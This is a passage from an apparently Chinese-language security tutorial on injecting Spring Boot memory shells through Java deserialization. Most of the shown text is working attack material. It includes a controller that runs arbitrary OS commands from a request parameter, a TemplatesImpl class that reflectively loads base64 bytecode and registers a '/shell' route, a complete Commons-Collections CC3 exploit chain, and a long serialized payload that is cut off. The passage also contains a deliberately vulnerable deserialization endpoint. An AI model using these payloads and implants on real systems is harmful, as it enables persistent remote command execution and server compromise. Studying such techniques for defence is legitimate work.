hL2xhbmcvUHJvY2VzcwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL09iamVjdDspVgEABWZsdXNoAQAFY2xvc2UAIQAnACgAAQApAAAABAABACoAKwABACwAAAAvAAEAAQAAAAUqtwABsQAAAAIALQAAAAYAAQAAAAwALgAAAAwAAQAAAAUALwAwAAAAAQAxADIAAwAsAAACJwAGAAsAAADcKxICuQADAgA6BBkExgDOLLkABAEAOgUSBbgABrYABxIItgAJmQAiuwAKWQa9AAtZAxIMU1kEEg1TWQUZBFO3AA46BqcAH7sAClkGvQALWQMSD1NZBBIQU1kFGQRTtwAOOgYZBgS2ABFXGQa2ABI6B7sAE1m7ABRZGQe2ABW3ABa3ABc6CBIYOgm7ABlZtwAaOgoZCLYAG1k6CcYAIBkKuwAZWbcAGhkJtgAcEh22ABy2AB62ABxXp//bsgAfGQq2ACAZBRkKtgAhGQW2ACIZBbYAI6cABToFA6wErAABAA8A0wDWACQAAwAtAAAAVgAVAAAADwAKABAADwASABcAFAAnABUARgAXAGIAGQBpABoAcAAbAIUAHACJAB0AkgAeAJ0AHwC6ACEAwgAiAMkAIwDOACQA0wAmANYAJQDYACcA2gApAC4AAAB6AAwAQwADADMANAAGABcAvAA1ADYABQBiAHEAMwA0AAYAcABjADcAOAAHAIUATgA5ADoACACJAEoAOwA8AAkAkgBBAD0APgAKAAAA3AAvADAAAAAAANwAPwBAAAEAAADcAEEAQgACAAAA3ABDAEQAAwAKANIARQA8AAQARgAAAFUAB/0ARgcARwcASPwAGwcASf8ALwALBwBKBwBLBwBMBwBNBwBHBwBIBwBJBwBOBwBPBwBHBwBQAAAn/wAbAAUHAEoHAEsHAEwHAE0HAEcAAQcAUQEBAFIAAAAEAAEAJABTAAAADQMAPwAAAEEAAABDAAAAAQBUAFUAAwAsAAAAYAAFAAUAAAAKKissLRkEtwAlsQAAAAIALQAAAAoAAgAAAC4ACQAvAC4AAAA0AAUAAAAKAC8AMAAAAAAACgA/AEAAAQAAAAoAQQBCAAIAAAAKAEMARAADAAAACgBWAFcABABSAAAABAABACQAUwAAABEEAD8AAABBAAAAQwAAAFYAAAABAFgAWQADACwAAABgAAUABQAAAAoqKywtGQS3ACaxAAAAAgAtAAAACgACAAAAMwAJADQALgAAADQABQAAAAoALwAwAAAAAAAKAD8AQAABAAAACgBBAEIAAgAAAAoAQwBEAAMAAAAKAFoAWwAEAFIAAAAEAAEAJABTAAAAEQQAPwAAAEEAAABDAAAAWgAAAAEAXAAAAAIAXQ=="; byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(code); java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class}); m.setAccessible(true); Class<?> clazz = (Class<?>) m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{"org.clown.springbootmemoryshell.interceptor.TestInterceptor", d, 0, d.length}); Constructor<?> constructor = clazz.getConstructor(); HandlerInterceptor evilInterceptor = (HandlerInterceptor) constructor.newInstance(); System.out.println("Instance created: " + evilInterceptor);
adaptInterceptors.add(evilInterceptor); return "Interceptor added!"; } }
|
实战中反序列化利用内存马
前面的写法还不能满足实战利用,实战中通常结合反序列化的形式,不过改成实战利用也蛮简单的,就是结合链子比如TemplatesImpl里的恶意类代码就是我们前面所写的的恶意代码
先写一个简单的反序列化漏洞的路由
package org.clown.springbootmemoryshell.contorller;
import org.springframework.web.bind.annotation.*;
import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.util.Base64;
@RestController public class VulnContorller { @RequestMapping(value = {"/des"}, method = {RequestMethod.POST}) public String deserialize(@RequestParam("base64Data") String base64Data) { System.out.println(base64Data); byte[] serializedData = Base64.getMimeDecoder().decode(base64Data); String option = deserializeData(serializedData); return option; }
private static String deserializeData(byte[] serializedData) { try { ByteArrayInputStream bis = new ByteArrayInputStream(serializedData); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); ois.close(); bis.close(); return "success"; } catch (Exception e) { return "error"; } } }
|
反序列化利用Controller
我们要注册的controller
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.PrintWriter; import java.util.Scanner;
public class TestController { public void test(HttpServletRequest request, HttpServletResponse response) { try { String arg0 = request.getParameter("code"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; ProcessBuilder p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); } else { p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); }
Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\A"); o = c.hasNext() ? c.next() : o; c.close(); writer.write(o); writer.flush(); writer.close(); } else { response.sendError(404); } } catch (Exception var8) {
} } }
|
然后是TemplatesImpl恶意类
package com.clown;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Constructor; import java.lang.reflect.Method;
public class ControllerBehind extends AbstractTranslet { static { try { String code ="yv66vgAAADQAhQoAIQBBCABCCwBDAEQLAEUARggARwgASAoASQBKCgAMAEsIAEwKAAwATQcATgcATwgAUAgAUQoACwBSCABTCABUBwBVCgALAFYKAFcAWAoAEgBZCABaCgASAFsKABIAXAoAEgBdCgASAF4KAF8AYAoAXwBhCgBfAF4LAEUAYgcAYwcAZAcAZQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA7TG9yZy9jbG93bi9zcHJpbmdib290bWVtb3J5c2hlbGwvY29udG9ybGxlci9UZXN0Q29udHJvbGxlcjsBAAR0ZXN0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcATwcAZgcATgcAVQcAYwEAEE1ldGhvZFBhcmFtZXRlcnMBAApTb3VyY2VGaWxlAQATVGVzdENvbnRyb2xsZXIuamF2YQwAIgAjAQAEY29kZQcAZwwAaABpBwBqDABrAGwBAAABAAdvcy5uYW1lBwBtDABuAGkMAG8AcAEAA3dpbgwAcQByAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAIgBzAQAHL2Jpbi9zaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIMAHQAdQcAdgwAdwB4DAAiAHkBAAJcQQwAegB7DAB8AH0MAH4AcAwAfwAjBwBmDACAAIEMAIIAIwwAgwCEAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOW9yZy9jbG93bi9zcHJpbmdib290bWVtb3J5c2hlbGwvY29udG9ybGxlci9UZXN0Q29udHJvbGxlcgEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAJc2VuZEVycm9yAQAEKEkpVgAhACAAIQAAAAAAAgABACIAIwABACQAAAAvAAEAAQAAAAUqtwABsQAAAAIAJQAAAAYAAQAAAA0AJgAAAAwAAQAAAAUAJwAoAAAAAQApACoAAgAkAAABqAAGAAgAAACzKxICuQADAgBOLLkABAEAOgQtxgCTEgU6BRIGuAAHtgAIEgm2AAqZACG7AAtZBr0ADFkDEg1TWQQSDlNZBS1TtwAPOganAB67AAtZBr0ADFkDEhBTWQQSEVNZBS1TtwAPOga7ABJZGQa2ABO2ABS3ABUSFrYAFzoHGQe2ABiZAAsZB7YAGacABRkFOgUZB7YAGhkEGQW2ABsZBLYAHBkEtgAdpwAMLBEBlLkAHgIApwAETrEAAQAAAK4AsQAfAAMAJQAAAEoAEgAAABAACQARABEAEgAVABMAGQAVACkAFgBHABgAYgAbAHgAHACMAB0AkQAeAJgAHwCdACAAogAhAKUAIgCuACYAsQAkALIAJwAmAAAAXAAJAEQAAwArACwABgAZAIkALQAuAAUAYgBAACsALAAGAHgAKgAvADAABwAJAKUAMQAuAAMAEQCdADIAMwAEAAAAswAnACgAAAAAALMANAA1AAEAAACzADYANwACADgAAAApAAj+AEcHADkHADoHADn8ABoHADv8ACUHADxBBwA5+AAa+QAIQgcAPQAAPgAAAAkCADQAAAA2AAAAAQA/AAAAAgBA"; byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(code); java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class}); m.setAccessible(true); Class<?> clazz = (Class<?>) m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{"org.clown.springbootmemoryshell.contorller.TestController", d, 0, d.length}); Constructor<?> constructor = clazz.getConstructor(); Object instance = constructor.newInstance(); System.out.println("Instance created: " + instance); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); PatternsRequestCondition url = new PatternsRequestCondition("/shell"); RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null); RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);
Method mm = clazz.getDeclaredMethods()[0]; rs.registerMapping(info, instance, mm); }catch (Exception e){ e.printStackTrace(); }
}
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
其实把前面的拿来复用一下就可以了,只不过这里再把流程完整记录一下
然后本地加了一个cc依赖,用cc3来打入内存马进行测试
cc3exp:
package com.clown;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC3Chain { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class c=templates.getClass(); Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("ControllerBehind.class")); byte[][] codes={code}; bytecodes.set(templates,codes);
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object,Object> map=new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotation = c1.getDeclaredConstructor(Class.class, Map.class); annotation.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) annotation.newInstance(Override.class,lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, invocationHandler); Object o = annotation.newInstance(Override.class, proxyMap); System.out.println(serialize(o));
} public static String serialize(Object obj)throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(obj); oos.close(); byte[] bytes = byteArrayOutputStream.toByteArray(); return Base64.getEncoder().encodeToString(bytes); } public static Object unserialize(String Filename)throws Exception{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } }
|
生成的base64字符串
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAPm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZVRyYW5zZm9ybWVyNIv0f6SG0DsCAAJbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB+ABhMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAfc8r+ur4AAAA0AMgKAC4AYwgAZAcAZQoAAwBjCgADAGYHAGcIAGgHAGkHAGoHAEgJAGsAbAoACABtCgBuAG8KAHAAcQoAcAByBwBzCAB0CgBrAHUKAG4AdgoACAB3CgB4AHkJAHoAewcAfAoAFwBjCAB9CgAXAH4KABcAfwoAFwCACgCBAIIKAIMAhAgAhQsAhgCHBwCIBwCJCACKCgAiAIsHAIwKACUAjQcAjgsAIQCPCgAIAJAKACcAkQcAkgoAKwCTBwCUBwCVAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMY29tL2Nsb3duL0NvbnRyb2xsZXJCZWhpbmQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAJYBABBNZXRob2RQYXJhbWV0ZXJzAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEABGNvZGUBABJMamF2YS9sYW5nL1N0cmluZzsBAAFkAQACW0IBAAFtAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY29uc3RydWN0b3IBAB9MamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAIaW5zdGFuY2UBABJMamF2YS9sYW5nL09iamVjdDsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAA3VybAEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEABGluZm8BAD9Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAJycwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAAm1tAQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEAIkxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjwqPjsBAA1TdGFja01hcFRhYmxlBwCSAQAKU291cmNlRmlsZQEAFUNvbnRyb2xsZXJCZWhpbmQuamF2YQwALwAwAQsweXY2NnZnQUFBRFFBaFFvQUlRQkJDQUJDQ3dCREFFUUxBRVVBUmdnQVJ3Z0FTQW9BU1FCS0NnQU1BRXNJQUV3S0FBd0FUUWNBVGdjQVR3Z0FVQWdBVVFvQUN3QlNDQUJUQ0FCVUJ3QlZDZ0FMQUZZS0FGY0FXQW9BRWdCWkNBQmFDZ0FTQUZzS0FCSUFYQW9BRWdCZENnQVNBRjRLQUY4QVlBb0FYd0JoQ2dCZkFGNExBRVVBWWdjQVl3Y0FaQWNBWlFFQUJqeHBibWwwUGdFQUF5Z3BWZ0VBQkVOdlpHVUJBQTlNYVc1bFRuVnRZbVZ5VkdGaWJHVUJBQkpNYjJOaGJGWmhjbWxoWW14bFZHRmliR1VCQUFSMGFHbHpBUUE3VEc5eVp5OWpiRzkzYmk5emNISnBibWRpYjI5MGJXVnRiM0o1YzJobGJHd3ZZMjl1ZEc5eWJHeGxjaTlVWlhOMFEyOXVkSEp2Ykd4bGNqc0JBQVIwWlhOMEFRQlNLRXhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYRjFaWE4wTzB4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWE53YjI1elpUc3BWZ0VBQVhBQkFCcE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTkNkV2xzWkdWeU93RUFBVzhCQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBRmpBUUFUVEdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5T3dFQUJHRnlaekFCQUFaM2NtbDBaWElCQUJWTWFtRjJZUzlwYnk5UWNtbHVkRmR5YVhSbGNqc0JBQWR5WlhGMVpYTjBBUUFuVEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjWFZsYzNRN0FRQUljbVZ6Y0c5dWMyVUJBQ2hNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnpjRzl1YzJVN0FRQU5VM1JoWTJ0TllYQlVZV0pzWlFjQVR3Y0FaZ2NBVGdjQVZRY0FZd0VBRUUxbGRHaHZaRkJoY21GdFpYUmxjbk1CQUFwVGIzVnlZMlZHYVd4bEFRQVRWR1Z6ZEVOdmJuUnliMnhzWlhJdWFtRjJZUXdBSWdBakFRQUVZMjlrWlFjQVp3d0FhQUJwQndCcURBQnJBR3dCQUFBQkFBZHZjeTV1WVcxbEJ3QnREQUJ1QUdrTUFHOEFjQUVBQTNkcGJnd0FjUUJ5QVFBWWFtRjJZUzlzWVc1bkwxQnliMk5sYzNOQ2RXbHNaR1Z5QVFBUWFtRjJZUzlzWVc1bkwxTjBjbWx1WndFQUIyTnRaQzVsZUdVQkFBSXZZd3dBSWdCekFRQUhMMkpwYmk5emFBRUFBaTFqQVFBUmFtRjJZUzkxZEdsc0wxTmpZVzV1WlhJTUFIUUFkUWNBZGd3QWR3QjREQUFpQUhrQkFBSmNRUXdBZWdCN0RBQjhBSDBNQUg0QWNBd0Fmd0FqQndCbURBQ0FBSUVNQUlJQUl3d0Fnd0NFQVFBVGFtRjJZUzlzWVc1bkwwVjRZMlZ3ZEdsdmJnRUFPVzl5Wnk5amJHOTNiaTl6Y0hKcGJtZGliMjkwYldWdGIzSjVjMmhsYkd3dlkyOXVkRzl5Ykd4bGNpOVVaWE4wUTI5dWRISnZiR3hsY2dFQUVHcGhkbUV2YkdGdVp5OVBZbXBsWTNRQkFCTnFZWFpoTDJsdkwxQnlhVzUwVjNKcGRHVnlBUUFsYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZEFFQURHZGxkRkJoY21GdFpYUmxjZ0VBSmloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQW1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WemNHOXVjMlVCQUFsblpYUlhjbWwwWlhJQkFCY29LVXhxWVhaaEwybHZMMUJ5YVc1MFYzSnBkR1Z5T3dFQUVHcGhkbUV2YkdGdVp5OVRlWE4wWlcwQkFBdG5aWFJRY205d1pYSjBlUUVBQzNSdlRHOTNaWEpEWVhObEFRQVVLQ2xNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNCQUFoamIyNTBZV2x1Y3dFQUd5aE1hbUYyWVM5c1lXNW5MME5vWVhKVFpYRjFaVzVqWlRzcFdnRUFGaWhiVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1ZZQkFBVnpkR0Z5ZEFFQUZTZ3BUR3BoZG1FdmJHRnVaeTlRY205alpYTnpPd0VBRVdwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56QVFBT1oyVjBTVzV3ZFhSVGRISmxZVzBCQUJjb0tVeHFZWFpoTDJsdkwwbHVjSFYwVTNSeVpXRnRPd0VBR0NoTWFtRjJZUzlwYnk5SmJuQjFkRk4wY21WaGJUc3BWZ0VBREhWelpVUmxiR2x0YVhSbGNnRUFKeWhNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5T3dFQUIyaGhjMDVsZUhRQkFBTW9LVm9CQUFSdVpYaDBBUUFGWTJ4dmMyVUJBQVYzY21sMFpRRUFGU2hNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVmdFQUJXWnNkWE5vQVFBSmMyVnVaRVZ5Y205eUFRQUVLRWtwVmdBaEFDQUFJUUFBQUFBQUFnQUJBQ0lBSXdBQkFDUUFBQUF2QUFFQUFRQUFBQVVxdHdBQnNRQUFBQUlBSlFBQUFBWUFBUUFBQUEwQUpnQUFBQXdBQVFBQUFBVUFKd0FvQUFBQUFRQXBBQ29BQWdBa0FBQUJxQUFHQUFnQUFBQ3pLeElDdVFBREFnQk9MTGtBQkFFQU9nUXR4Z0NURWdVNkJSSUd1QUFIdGdBSUVnbTJBQXFaQUNHN0FBdFpCcjBBREZrREVnMVRXUVFTRGxOWkJTMVR0d0FQT2dhbkFCNjdBQXRaQnIwQURGa0RFaEJUV1FRU0VWTlpCUzFUdHdBUE9nYTdBQkpaR1FhMkFCTzJBQlMzQUJVU0ZyWUFGem9IR1FlMkFCaVpBQXNaQjdZQUdhY0FCUmtGT2dVWkI3WUFHaGtFR1FXMkFCc1pCTFlBSEJrRXRnQWRwd0FNTEJFQmxMa0FIZ0lBcHdBRVRyRUFBUUFBQUs0QXNRQWZBQU1BSlFBQUFFb0FFZ0FBQUJBQUNRQVJBQkVBRWdBVkFCTUFHUUFWQUNrQUZnQkhBQmdBWWdBYkFIZ0FIQUNNQUIwQWtRQWVBSmdBSHdDZEFDQUFvZ0FoQUtVQUlnQ3VBQ1lBc1FBa0FMSUFKd0F